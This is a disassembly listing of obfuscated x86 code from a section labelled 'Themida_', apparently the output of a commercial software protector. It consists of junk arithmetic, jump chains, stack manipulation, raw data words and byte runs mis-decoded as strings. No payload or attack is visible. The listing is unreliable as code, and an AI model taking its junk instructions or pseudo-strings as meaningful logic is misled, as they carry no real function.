loc_544090: ; CODE XREF: Themida_:0054BC47j
pop esi
pop dword ptr [esp]
pop eax
push ecx
jmp loc_548CBA
; ---------------------------------------------------------------------------
loc_54409B: ; CODE XREF: Themida_:00547833j
add ebp, 6EF6585Ch
mov esi, ebp
pop ebp
sub esi, 7EC255B7h
jmp loc_54A8BD
; ---------------------------------------------------------------------------
loc_5440AF: ; CODE XREF: Themida_:0054DF9Bj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 7F46h
jmp loc_548BB4
; ---------------------------------------------------------------------------
dd 48BC731h, 4D9E924h, 80590000h, 0E200EFC2h, 8BEFEA80h
dd 0C4832404h, 80CAFE04h, 0D03043F2h, 8324148Bh, 0E95304C4h
dd 7226h
; ---------------------------------------------------------------------------
loc_5440F8: ; CODE XREF: Themida_:0054A9CFj
push ebx
mov ebx, 69A318DDh
inc ebx
jmp loc_5443DF
; ---------------------------------------------------------------------------
aZsS db 'Z騑',0
align 2
loc_54410A: ; CODE XREF: Themida_:0054E9F0j
push ebp
mov ebp, 69576AAAh
push ecx
mov ecx, 52A657D5h
or ebp, ecx
mov ecx, [esp]
add esp, 4
shl ebp, 4
and ebp, 37CB045Bh
shr ebp, 7
shl ebp, 2
xor ebp, 18846FE9h
xor ecx, ebp
jmp loc_54D8BF
; ---------------------------------------------------------------------------
loc_54413A: ; CODE XREF: Themida_:0054E0D1j
add esp, 4
xchg eax, ebx
jmp loc_54DAFC
; ---------------------------------------------------------------------------
db 89h
dd 0C4E92414h, 8100000Bh, 4ECh, 0FBF9E900h, 0B652FFFFh
dd 5998E9C4h, 8B660000h, 68522404h, 79ACh, 81242489h, 42404h
dd 148B0000h, 6E95224h, 8100008Eh, 4C4h, 262C00h, 179E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54418A: ; CODE XREF: Themida_:0054B8F8j
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_54D36E
; ---------------------------------------------------------------------------
loc_544198: ; CODE XREF: Themida_:005494D7j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
jmp loc_549396
; ---------------------------------------------------------------------------
db 50h
dd 0E480D2B4h, 0E9DCF6ADh, 771Ah, 8861EF80h, 0C9B75BF8h
dd 48BC700h, 36E95224h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5441C7: ; CODE XREF: Themida_:00549609j
push dword ptr [esp]
pop edx
push edi
mov edi, esp
push esi
mov esi, 4
jmp loc_54D255
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 8904EC83h, 4812424h, 424h, 0E9535D00h, 7B0Ch, 0C781E789h
dd 4, 0FD1E9h, 81E28900h, 4C2h, 4C28100h, 87000000h, 0DAE92414h
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544213: ; CODE XREF: Themida_:005496B4j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_546D76
; ---------------------------------------------------------------------------
loc_544227: ; CODE XREF: Themida_:00547963j
push 2A113BCEh
pop ebx
xor ebx, 4F9002E2h
xor ebx, 58692933h
sub ebx, 7507164h
sub ebx, 1D637E51h
mov edi, ebx
pop ebx
shl edi, 3
sub esp, 4
mov [esp], esi
mov esi, 48F6388Fh
jmp loc_546818
; ---------------------------------------------------------------------------
dw 48Fh
dd 0F665C24h, 6866C8B6h, 0ACE96693h, 89FFFFFAh, 5A542414h
dd 4C281h, 0E9570000h, 59Dh
; ---------------------------------------------------------------------------
loc_544280: ; CODE XREF: Themida_:0054C6E2j
mov ebp, esp
add ebp, 4
push ecx
jmp loc_544DC4
; ---------------------------------------------------------------------------
aYsts db 'Yéts',0
align 4
aAAidaR db '€ê+€ëD€Ãr',0
dw 52D3h
dd 8701E9h
db 0
; ---------------------------------------------------------------------------
loc_5442A5: ; CODE XREF: Themida_:00546793j
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp]
pop edx
push eax
jmp loc_54D525
; ---------------------------------------------------------------------------
aZsum db 'Zé“M',0
align 2
dw 52ACh
dd 0FFF8E6E9h
db 0FFh
; ---------------------------------------------------------------------------
locret_5442CD: ; CODE XREF: Themida_:00549869j
retn
; ---------------------------------------------------------------------------
dw 4DE9h
dd 41FFFFF7h, 3E1C149h, 0A3AF181h, 0CA3170D7h, 592434FFh
dd 4C481h, 0D6890000h, 8124148Bh, 4C4h, 4747E900h, 0C890000h
dd 3DE95624h, 40000AAh, 24148B26h, 4C481h, 89520000h, 4C281E2h
dd 0E9000000h, 48A1h, 8904EC83h, 2BE92404h, 29000056h
dd 40582404h, 0A023BD55h, 0B9059E54h, 292BD40Eh, 0EB92DE8h
dd 15D2BD4h, 0B85058C1h, 4, 54CEE981h, 0C10109FDh, 54CEC181h
dd 0E95809FDh, 0FFFFFCDEh, 4EC835Ch, 0E9241489h, 75B8h
dd 525AD131h, 0AE74F7BAh, 22F28102h, 316D757Ch, 0D9F75AD1h
dd 43ACE9h, 58C12900h, 0C181F101h, 7C1E4495h, 240C875Eh
dd 2924248Bh, 0E99C2404h, 857Ah, 621868h, 24148900h, 0FFF677E9h
dd 240487FFh, 245F895Ch, 68241C8Bh, 2749h, 89243489h, 4BA52E6h
dd 0E9000000h, 4BFBh, 0BA241489h, 41CF4E19h, 295AD089h
dd 0FF042444h, 0C9E92434h
db 86h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5443DF: ; CODE XREF: Themida_:005440FFj
shr ebx, 5
push ebp
jmp loc_54D5DE
; ---------------------------------------------------------------------------
loc_5443E8: ; CODE XREF: Themida_:0054EB28j
push 76C35B26h
mov ecx, [esp]
push ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
push esi
push 2A442ACEh
pop esi
add esi, 7332F30h
jmp loc_54B76C
; ---------------------------------------------------------------------------
dw 0A22Ch
dd 0FC3305Ah, 8B66C0B6h, 0E9532414h, 2D13h, 5724048Fh
dd 144135BFh, 168533Eh, 5B000000h, 525BDF01h, 18B4E9h
dd 0C5F58100h, 2941EB76h, 242C8BEBh, 4C481h, 3880000h
dd 0E92434FFh
dword_544450 dd 81C2h, 3484EA81h, 3C8B5705h, 4EC8324h, 89242C89h, 4C581E5h
; DATA XREF: ___:off_43D3D4o
dd 81000000h, 4C5h, 242C8700h, 0B231E9h, 241C8900h, 0EF01CCBBh
dd 0E9515324h, 2127h, 5F545759h, 35C7BB53h, 0F3810F13h
dd 4DF63CAEh, 240CFF53h, 64EB815Bh, 8142E509h, 0C97D0DC7h
dd 52DF0136h, 1179E9h
db 0
; ---------------------------------------------------------------------------
loc_5444B1: ; CODE XREF: Themida_:0054684Dj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
add dword ptr [esp], 2BB00072h
jmp loc_547810
; ---------------------------------------------------------------------------
a3SW db '3,$é±w',0
align 4
dd 0FF2434FFh, 0C8B2434h, 4EC8324h, 89243C89h, 4C781E7h
dd 52000000h, 8645CCBAh, 91E5E97Fh, 13B00000h, 8904EC83h
dd 5AB7241Ch, 0FE5BF808h, 88A32CC8h, 9BC4E9C2h, 8B660000h
dd 0FA68240Ch, 0E900001Bh, 6073h
; ---------------------------------------------------------------------------
loc_544520: ; CODE XREF: Themida_:00543C8Fj
mov edx, 1
and eax, edx
jmp loc_54A835
; ---------------------------------------------------------------------------
loc_54452C: ; CODE XREF: Themida_:0054BC75j
mov esi, ecx
pop ecx
xor esi, edi
pop edi
mov ecx, esi
jmp loc_546B2A
; ---------------------------------------------------------------------------
aIthN db '‰âhìN',0
align 10h
dd 53242C89h, 203F08BBh, 5CEB8111h, 52967320h, 0D589DA89h
dd 8124148Bh, 4C4h, 0E9E95B00h, 81000076h, 4EFh, 243C8700h
dd 38ABE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544572: ; CODE XREF: Themida_:0054EC36j
add ebp, ebx
add ebp, 3AE06803h
pop ebx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_544D07
; ---------------------------------------------------------------------------
dw 0C281h
dd 57053484h, 0C1E9FA01h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544593: ; CODE XREF: Themida_:0054B4ADj
mov edi, 401C7AEFh
jmp loc_54D82D
; ---------------------------------------------------------------------------
db 59h, 56h, 52h
dd 0CE6A24BAh, 0BAF9BE64h, 56E9BB8Dh, 81000092h, 4C4h
dd 8BF80100h, 0C483243Ch, 8FB3E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5445C2: ; CODE XREF: Themida_:0054F4ADj
push edi
push ebx
jmp loc_54C638
; ---------------------------------------------------------------------------
loc_5445C9: ; CODE XREF: Themida_:0054FB20j
mov [eax], edx
pop eax
mov ecx, [esp]
push 4B2Bh
mov [esp], ebp
mov ebp, esp
push edi
push ebp
mov ebp, 44917434h
mov edi, 44917430h
xor edi, ebp
jmp loc_54D323
; ---------------------------------------------------------------------------
dd 5C243C87h, 28F4E9h
db 0
; ---------------------------------------------------------------------------
loc_5445F5: ; CODE XREF: Themida_:0054D305j
sub ebp, edi
pop edi
and eax, ebp
jmp loc_54A1A3
; ---------------------------------------------------------------------------
loc_5445FF: ; CODE XREF: Themida_:00545C42j
mov ebp, esi
pop esi
sub ecx, 0C595F53h
add ecx, ebp
jmp loc_54622C
; ---------------------------------------------------------------------------
db 89h
dd 0DEE92404h
db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544617: ; CODE XREF: Themida_:0054A6E2j
pop esp
jmp loc_54BCE4
; ---------------------------------------------------------------------------
db 87h, 3Ch, 24h
dd 0E924248Bh, 0FFFFF3F8h, 158C789h, 243C8BF8h, 6B46E9h
dd 81C32900h, 9B2A66EBh, 93C3813Ah, 0E916E079h, 7A0Bh
; ---------------------------------------------------------------------------
loc_544648: ; CODE XREF: Themida_:00545B16j
pop ebx
shr ebx, 5
add ebx, 1
push ecx
mov ecx, 0EF952E8h
dec ecx
push eax
mov eax, 24EA7782h
inc eax
xor eax, 22B528C7h
neg eax
push edi
mov edi, 48EF55E8h
shr edi, 7
dec edi
not edi
not edi
add edi, 0BAEB8140h
jmp loc_548029
; ---------------------------------------------------------------------------
dd 0D95781BAh, 81D2F77Eh, 0B75EDACAh, 6C2817Eh, 1004801h
dd 0F9685AD5h, 8900002Ah, 44E92414h, 5100001Fh, 781C9AB9h
dd 59CB0107h, 0E9008F66h, 0FFFFF36Ch, 0E9EB0159h, 15A6h
dd 0BA525750h, 544B3E5Ch, 3452CBFh, 0E9D72976h, 1CDBh
dd 4C681h, 34870000h, 0CE805C24h, 80C6FE70h, 0E6C0B5C6h
dd 0A4B15102h, 0C180C9FEh, 59CE28CBh, 535AF000h, 0F380CBB3h
dd 0B652665Dh, 0B3536648h, 66D800D6h, 2885045Bh, 0E9852CF0h
dd 51FCh, 5750E789h, 0C9489EBFh, 65BDE91Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54471E: ; CODE XREF: Themida_:0054E1AEj
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
sub esp, 4
mov [esp], ebp
xchg edx, [esp]
xchg eax, edx
not eax
jmp loc_54CEAD
; ---------------------------------------------------------------------------
db 0BAh
dd 1818249Bh, 3989F281h, 0EA87585Ah, 0EA87D5F7h, 1D17C281h
dd 0D1014042h, 4EBFE9h, 5AD02900h, 2C0835Dh, 2474FF50h
dd 24048B04h, 0E9E78957h, 63EDh
; ---------------------------------------------------------------------------
loc_544770: ; CODE XREF: Themida_:0054FB4Dj
add ebp, 4
jmp loc_54A9C1
; ---------------------------------------------------------------------------
aZSA db '‡<$éÃA',0
dw 0B900h
dd 4, 8759CA29h, 895C2414h, 0E953240Ch, 4B62h
; ---------------------------------------------------------------------------
loc_544798: ; CODE XREF: Themida_:005493E5j
push esp
jmp loc_54E949
; ---------------------------------------------------------------------------
dw 0E089h
dd 405h, 40500h, 41E90000h
db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5447AF: ; CODE XREF: Themida_:0054B176j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5449B6
; ---------------------------------------------------------------------------
loc_5447BA: ; CODE XREF: Themida_:00544DD4j
pop ebp
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 4
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_543F7E
; ---------------------------------------------------------------------------
loc_5447E3: ; CODE XREF: Themida_:0054D236j
mov [esp], esp
jmp loc_54F291
; ---------------------------------------------------------------------------
db 0BBh
dd 2B594B13h, 4D00E956h, 0E95B0000h, 1E77h, 0FF38BD55h
dd 0EB01C013h, 6FBD555Dh, 0E92FA45Fh, 6639h, 68C8B70Fh
dd 68h, 7772E9h, 81E78900h, 4C7h, 4EF8100h, 57000000h
dd 1315E9h, 89D08900h, 24048BC3h, 4C481h, 815A0000h, 7B3054EBh
dd 5BD9895Ch, 34FFF101h, 0C4815E24h, 4, 51FDE181h, 8BE90E41h
dd 57000094h, 7F085CBFh, 5FF931D1h, 0C8BCA31h, 4C48124h
dd 57000000h, 0F989D789h, 2B11E95Fh, 0C4830000h, 24048704h
dd 4FF665Ch, 0F6E99C24h, 6800000Eh, 0
dd 58240429h, 31F03148h, 0E9F031C6h, 5BB9h, 8B242C87h
dd 75E92424h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5448AF: ; CODE XREF: Themida_:005497CEj
mov [esp], edi
mov edi, 771D5509h
push eax
mov eax, 447B7863h
sub edi, eax
pop eax
push 4A3Ch
mov [esp], eax
mov eax, 74FE450Ah
jmp loc_543EAB
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 8704E983h, 895C240Ch, 0D4BE2434h, 4621C866h, 992FC681h
dd 0C281DE37h, 25DB70F9h, 0EA81F201h, 25DB70F9h, 2C2815Eh
dd 81000000h, 4ECh, 24148900h, 42474FFh, 8324148Bh, 48F04C4h
dd 24248B24h, 108E9h, 4C18100h, 87000000h, 505C240Ch, 42474FFh
dd 24048F58h, 0D324248Bh, 0E99C243Ch, 0FFFFF0E0h, 0ED81C501h
dd 114946A4h, 69F9E958h, 0E9520000h, 2337h
; ---------------------------------------------------------------------------
loc_544954: ; CODE XREF: Themida_:0054C208j
push eax
mov eax, 2C2A6889h
and eax, 1DD046BCh
xchg eax, ecx
neg ecx
xchg eax, ecx
and eax, 55402213h
shl eax, 7
dec eax
add eax, 0CE3B4C74h
mov edi, eax
pop eax
add edi, 26DB409Ah
jmp loc_54DE4C
; ---------------------------------------------------------------------------
db 83h
dd 148704C2h, 0A59BE924h, 0F4BE0000h, 29284867h, 12055EF0h
dd 532A0D33h, 0C381E389h, 4, 8704EB83h, 248B241Ch, 24348924h
dd 0F86B0BBEh, 6591E932h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5449B6: ; CODE XREF: Themida_:005447B5j
push 72D3h
mov [esp], ebx
push dword ptr [esp]
jmp loc_545B1B
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E951240Ch, 566Eh, 0E9240431h, 0A057h
; ---------------------------------------------------------------------------
loc_5449D8: ; CODE XREF: Themida_:00545DFFj
add eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
pop edx
push edi
jmp loc_5455C6
; ---------------------------------------------------------------------------
loc_5449E8: ; CODE XREF: Themida_:0054810Ej
xor ecx, 11CA159Dh
push edi
mov edi, 608379F1h
dec edi
shl edi, 7
neg edi
xor edi, 79B663DAh
sub edi, 0B72797F0h
xor ecx, edi
pop edi
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
push edx
mov edx, 60966D43h
push edi
mov edi, 7F1910B9h
xor edi, 4BA74235h
and edx, edi
jmp loc_54C717
; ---------------------------------------------------------------------------
db 8, 4, 24h
aSI db 'œé',9,'ˆ',0
align 2
loc_544A32: ; CODE XREF: Themida_:00547B62j
push edx
jmp loc_546FB0
; ---------------------------------------------------------------------------
loc_544A38: ; CODE XREF: Themida_:00544B92j
pop edi
mov ebp, [esp]
add esp, 4
jmp loc_54F71C
; ---------------------------------------------------------------------------
loc_544A47: ; CODE XREF: Themida_:0054C699j
mov ebp, ecx
pop ecx
mov ecx, ebp
pop ebp
push edi
mov edi, 3D440298h
jmp loc_5495BC
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFFFE1Eh, 516E68h, 24348900h, 24348B54h
dd 4C481h, 0EC830000h, 241C8904h, 4BBh, 8D69E900h, 48400000h
dd 2F5F0540h, 77354281h, 0E975A276h, 7E90h, 0FFE9DA89h
dd 66000043h, 0E924048Bh, 5F43h, 5B04C483h, 0E9243C87h
dd 0FFFFEF70h, 5BF800h, 0D0E952D8h, 5A000076h, 1DE9D801h
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544AC3: ; CODE XREF: Themida_:005451C9j
sub eax, 318F0E44h
pop esi
jmp loc_54E615
; ---------------------------------------------------------------------------
aZaDz db 'Z€ÃDZ',0
dd 0FEEB80C3h, 78D868h, 241C8900h, 0A24BB9BBh, 7CE3815Fh
dd 81363669h, 0CE71AFC3h, 0CFF38166h, 0E97CF0BAh, 0A2DEh
dd 2A7D68h, 24348900h, 0D873EC68h, 2434FF54h, 0E389535Eh
dd 4C381h, 0D5E90000h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544B1B: ; CODE XREF: Themida_:005483A0j
mov esp, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, 0CC8DAC0Ch
add ecx, ebx
mov ebx, [esp]
add esp, 4
mov ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
and ecx, ebp
jmp loc_545018
; ---------------------------------------------------------------------------
dd 0E904C483h, 489Eh, 53242C89h, 3DDBA52h, 0D3894D44h
dd 6B2CBD5Ah, 0DD299C54h, 0CFF5815Bh, 4D2CEA34h, 0B9ED814Dh
dd 83240893h, 348904ECh, 585DBE24h, 0E9512FC7h, 4259h
dd 0F0CDE9ADh, 95E9FFFFh
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544B8B: ; CODE XREF: Themida_:0054895Aj
push ebp
mov ebp, 9FF1DFCAh
push ebp
jmp loc_544A38
; ---------------------------------------------------------------------------
db 68h
dd 76CDh, 0E9241489h, 7AD1h, 0DBF7D3F7h, 0A253E94Bh, 4AC0000h
dd 0A805E94Ah, 74010000h, 0E95E0424h, 1975h, 292168h, 24148900h
dd 1389E951h, 0DD010000h, 0A42EE95Bh, 55AD0000h, 43737EBDh
dd 0FDED8152h, 0C14D0D08h, 0ED8104EDh, 70F94F46h, 4054C581h
dd 0EE01837Fh, 88B9515Dh, 5369004Dh, 0AF7EC2BBh, 5BD92156h
dd 4CE0E9h, 788C6800h, 34890000h, 81E68924h, 4C6h, 4CF26800h
dd 0C890000h, 6C6FB924h, 0BB5354A1h, 75A909DDh, 5A9DF381h
dd 1EE95435h, 8B00007Fh, 0C481242Ch, 4, 0EEC1EED1h, 0F7DEF708h
dd 8BEE81D6h, 1003C18h, 0C875EF1h, 24248B24h, 24048B66h
dd 213CE9h, 24D36600h, 0B5E99C24h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544C6B: ; CODE XREF: Themida_:0054A46Fj
inc edx
shl edx, 2
sub edx, 38264DCBh
mov edi, edx
pop edx
jmp loc_54F802
; ---------------------------------------------------------------------------
loc_544C7D: ; CODE XREF: Themida_:00545B8Dj
mov [esp], ebx
mov ebx, 1
jmp loc_547D18
; ---------------------------------------------------------------------------
dw 0D25Ch
dd 0E99C243Ch, 0FFFFED8Ch
; ---------------------------------------------------------------------------
loc_544C94: ; CODE XREF: Themida_:00549391j
add esp, 4
add esp, 4
jmp loc_54E754
; ---------------------------------------------------------------------------
aYSV db 'Y(ØéØV',0
dd 4EC8100h, 54000000h, 8124048Fh, 42404h, 565B0000h, 4BEh
dd 14C38100h, 1649362h, 14EB81F3h, 0E9649362h, 1771h
; ---------------------------------------------------------------------------
loc_544CD8: ; CODE XREF: Themida_:0054CE16j
and edx, 243204DFh
shl edx, 7
jmp loc_54BDD4
; ---------------------------------------------------------------------------
loc_544CE6: ; CODE XREF: Themida_:00546CCCj
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
shr ecx, 0Ah
jmp loc_54DAE4
; ---------------------------------------------------------------------------
loc_544D00: ; CODE XREF: Themida_:0054935Aj
xor [esp], esi
xor esi, [esp]
pop esp
loc_544D07: ; CODE XREF: Themida_:00544581j
; Themida_:00545B05j
push dword ptr [esp]
jmp loc_546A70
; ---------------------------------------------------------------------------
db 0BAh
dd 45CC0A87h, 7CC28142h, 0E9BA33F5h, 1323h, 241C8966h
dd 0B302B450h, 58E32837h, 604BA2Ch, 0D8008F04h, 62C8F2Ch
dd 8B66BA04h, 0BB68241Ch, 8900006Ch, 5954240Ch, 4C181h
dd 0D0E90000h, 0C100005Dh, 0AA0503E8h, 291D64C0h, 34FF4047h
dd 0E9525824h, 14h
; ---------------------------------------------------------------------------
loc_544D68: ; CODE XREF: Themida_:0054AD62j
sub eax, ecx
pop ecx
jmp loc_545CFC
; ---------------------------------------------------------------------------
dd 5C240C87h, 0E9242489h, 31B8h, 0C281E289h, 4, 0FFFBF6E9h
dd 74FF51FFh, 0C8B0424h, 4C48324h, 8B24048Fh, 0E9C12424h
dd 0FC00900h, 0FFFC1184h, 2C8153FFh, 56653124h, 2434FF19h
dd 27FBE958h, 0E7890000h, 4C781h, 0E9560000h, 0FFFFFB8Ah
; ---------------------------------------------------------------------------
loc_544DC4: ; CODE XREF: Themida_:00544289j
push esp
pop ecx
push ebp
mov ebp, 696A3770h
sub ebp, 696A376Ch
add ecx, ebp
jmp loc_5447BA
; ---------------------------------------------------------------------------
db 58h, 51h, 0B5h
dd 0E9E828F4h, 6507h, 8B5DEB80h, 0C4812414h, 4, 0C380C328h
dd 0D0EB80B6h, 0E9C0B60Fh, 946Ah, 5866C330h, 460B6866h
dd 24148966h, 5FE9C0B2h, 81000098h, 0CEC011EFh, 5FF98900h
dd 3B27F181h, 8DE92910h, 0B900001Ch, 5C7D3151h, 15DE931h
dd 535659C8h, 4BBh, 5BDE8900h, 2C5E372Dh, 5F00108h, 82C5E37h
dd 921CE95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544E4E: ; CODE XREF: Themida_:0054D01Dj
pop eax
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
jmp loc_54CDE9
; ---------------------------------------------------------------------------
dw 0F181h
dd 245B592Bh, 1D6FBA52h, 0D1295BA7h, 0A8C9815Ah, 0E904250Fh
dd 8C41h, 0E9F4C980h, 0Eh, 81E78957h, 4C7h, 5E15E900h
dd 0F1800000h, 0C4B45074h, 0F7E9E128h
db 99h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544E9F: ; CODE XREF: Themida_:00545B41j
pop esp
jmp loc_545C34
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0DBh
dd 3152984Dh, 0C8015DE9h, 2C08359h, 0E9240433h, 0A394h
dd 0C0E9F280h, 0C28004EAh, 5DC380A8h, 69FAE9h, 30D43000h
dd 30DCF6E2h, 30D430E2h, 80DAF6E2h, 0C28042EAh, 5EA80B3h
dd 30F1B151h, 240C8BCAh, 96A3E9h, 74FF5500h, 8F5D0424h
dd 0E95C2404h, 0FFFFEB20h, 0EF40EB81h, 97E9FB8Fh
db 69h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544F0B: ; CODE XREF: Themida_:0054E216j
add ecx, 4
jmp loc_54C24A
; ---------------------------------------------------------------------------
db 0B6h
dd 2E6C00Ah, 0B3B45066h, 8B66E620h, 0C4812404h, 2, 98CCE9h
dd 24048F00h, 99D0E9h, 2BE00h, 0E9810000h, 614B6A75h
db 0E9h, 0BAh
word_544F42 dw 3Bh ; DATA XREF: ___:off_435E10o
dd 4C38100h, 68000000h, 4BF7h, 0E9240489h, 292Ah, 559CE957h
dd 0E9520000h, 0AC5Ch, 0E904C483h, 1692h, 5404EC83h, 8124048Fh
dd 42404h, 148B0000h, 0EC815124h, 4, 24048F54h, 0FFF0D0E9h
dd 2C77FFFFh, 0FFEA8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_544F95: ; CODE XREF: Themida_:0054FA5Ej
pop ebp
add esp, 4
jmp loc_54E297
; ---------------------------------------------------------------------------
dw 0C181h
dd 3C37080Ch, 0A0E8E9h
db 0
; ---------------------------------------------------------------------------
loc_544FA9: ; CODE XREF: Themida_:00548DC3j
add edi, 8577411h
add edi, 7EAF1A69h
add edi, 68A1783h
sub ebp, edi
pop edi
xchg ebp, [esp]
pop esp
mov [esp], ebx
add dword ptr [esp], 1B0463AEh
pop ebx
push eax
mov eax, 63D756DDh
jmp loc_5474CE
; ---------------------------------------------------------------------------
dd 89243C89h, 4C781E7h, 53000000h, 2BBh, 1EAD6800h, 2C890000h
dd 815DE924h, 0A2B80000h, 403AC349h, 3713E9h, 4896600h
dd 0EA16E924h, 9B35FFFFh, 9AFB0FCh, 0E94F58C7h, 207h
; ---------------------------------------------------------------------------
loc_545018: ; CODE XREF: Themida_:00544B3Fj
pop ebp
shr ecx, 7
jmp loc_54B8E4
; ---------------------------------------------------------------------------
loc_545021: ; CODE XREF: Themida_:0054A2B7j
push dword ptr [esp]
pop edx
jmp loc_547FAD
; ---------------------------------------------------------------------------
loc_54502A: ; CODE XREF: Themida_:005489E5j
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edx
push esp
pop edx
push edi
mov edi, 1F9C2B2Eh
sub edi, 5ACF6EA5h
not edi
jmp loc_545D45
; ---------------------------------------------------------------------------
dw 0C681h
dd 35F66631h, 0EE81FE01h, 35F66631h, 83243C8Bh, 7DE904C4h
dd 5B00000Fh, 8B240C87h, 0C5E92424h, 5D000069h, 8B5EF301h
dd 54E92404h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54507B: ; CODE XREF: Themida_:00548693j
mov [esp], ebx
pop edx
sub esp, 4
jmp loc_543B90
; ---------------------------------------------------------------------------
loc_54508A: ; CODE XREF: Themida_:00546A71j
push ebp
mov ebp, esp
sub esp, 4
mov [esp], eax
push esi
push 5BEF6C87h
mov esi, [esp]
add esp, 4
jmp loc_54AF69
; ---------------------------------------------------------------------------
aLS8 db '‹$$é8 ',0
align 4
dd 83243C8Bh, 0D18904C4h, 88D9015Ah, 1C8B5901h, 7D59E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5450C2: ; CODE XREF: Themida_:0054F602j
shl ebx, 4
jmp loc_54E665
; ---------------------------------------------------------------------------
dw 0BF57h
dd 4, 685FFA01h, 2462h, 0FF241489h, 8B042474h, 0C4812414h
dd 4, 8B24048Fh, 2DE92424h, 0FFFFE9h, 0D0005BF8h, 0FFF311E9h
dd 0E9CA20FFh, 5272h, 9D1C77FFh, 24041958h, 0E90EE99Ch
dd 875BFFFFh, 0F7EA87DAh, 35E2E9D5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54511E: ; CODE XREF: Themida_:0054D266j
push 27DBh
mov [esp], esi
push ebx
push eax
jmp loc_549AA4
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 0F5010000h, 2C5815Eh, 87000000h, 665C242Ch, 0E924048Bh
dd 55D9h, 0AB087BBFh, 5FF82957h, 4E4268h, 24348900h, 0BB3474BEh
dd 0EEC1461Ah, 12BB5307h, 817BB51Fh, 5514DE3h, 8F7BE94Eh
dd 34890000h, 61D2BE24h, 0DEF76617h, 0BA52h, 0F2290000h
dd 7D14E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54518A: ; CODE XREF: Themida_:0054F45Fj
or esi, 0C2E2AFAh
jmp loc_545938
; ---------------------------------------------------------------------------
db 81h, 0F6h, 7Dh
dd 29047656h, 0FB015EF3h, 426FC381h, 0D9E90C27h, 5A000098h
dd 93E9CA30h, 81000099h, 0B92153F7h, 0E9FA010Dh, 44B0h
; ---------------------------------------------------------------------------
loc_5451C0: ; CODE XREF: Themida_:0054B772j
push esi
add dword ptr [esp], 318F0E44h
pop eax
jmp loc_544AC3
; ---------------------------------------------------------------------------
dw 5E68h
dd 8900007Fh, 0EC81241Ch, 4, 8CE6E9h, 0D12C00h, 4182E9D0h
dd 6E680000h, 0E9000053h, 8A7Dh
; ---------------------------------------------------------------------------
loc_5451F4: ; CODE XREF: Themida_:0054AE94j
sub [esp+4], ecx
jmp loc_545DD7
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0F85AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545206: ; CODE XREF: Themida_:00549009j
pop eax
mov esi, ebx
pop ebx
shr esi, 4
jmp loc_547928
; ---------------------------------------------------------------------------
loc_545212: ; CODE XREF: Themida_:005498C7j
add esp, 4
mov eax, edi
jmp loc_548322
; ---------------------------------------------------------------------------
db 4Fh
dd 4665B951h, 0E9816812h, 5980E545h, 0E959CF31h, 9275h
dd 68h, 240C2900h, 8305E9h, 0E9028F00h, 0FFFFE7D8h
; ---------------------------------------------------------------------------
loc_545248: ; CODE XREF: Themida_:00543C82j
add ebp, 4
xchg ebp, [esp]
pop esp
xor edx, 605F3CE3h
sub esp, 4
jmp loc_54E8BF
; ---------------------------------------------------------------------------
dd 5C241C87h, 8702C083h, 248B2404h, 48B6624h, 7F616824h
dd 4890000h, 4EC8324h, 81242489h, 42404h, 68580000h, 7C67h
dd 0BA241489h, 4, 82E9D001h, 81000002h, 7C4976F1h, 59C8014Ah
dd 57241C8Bh, 3FE9E789h, 89000034h, 54512434h, 30A2E959h
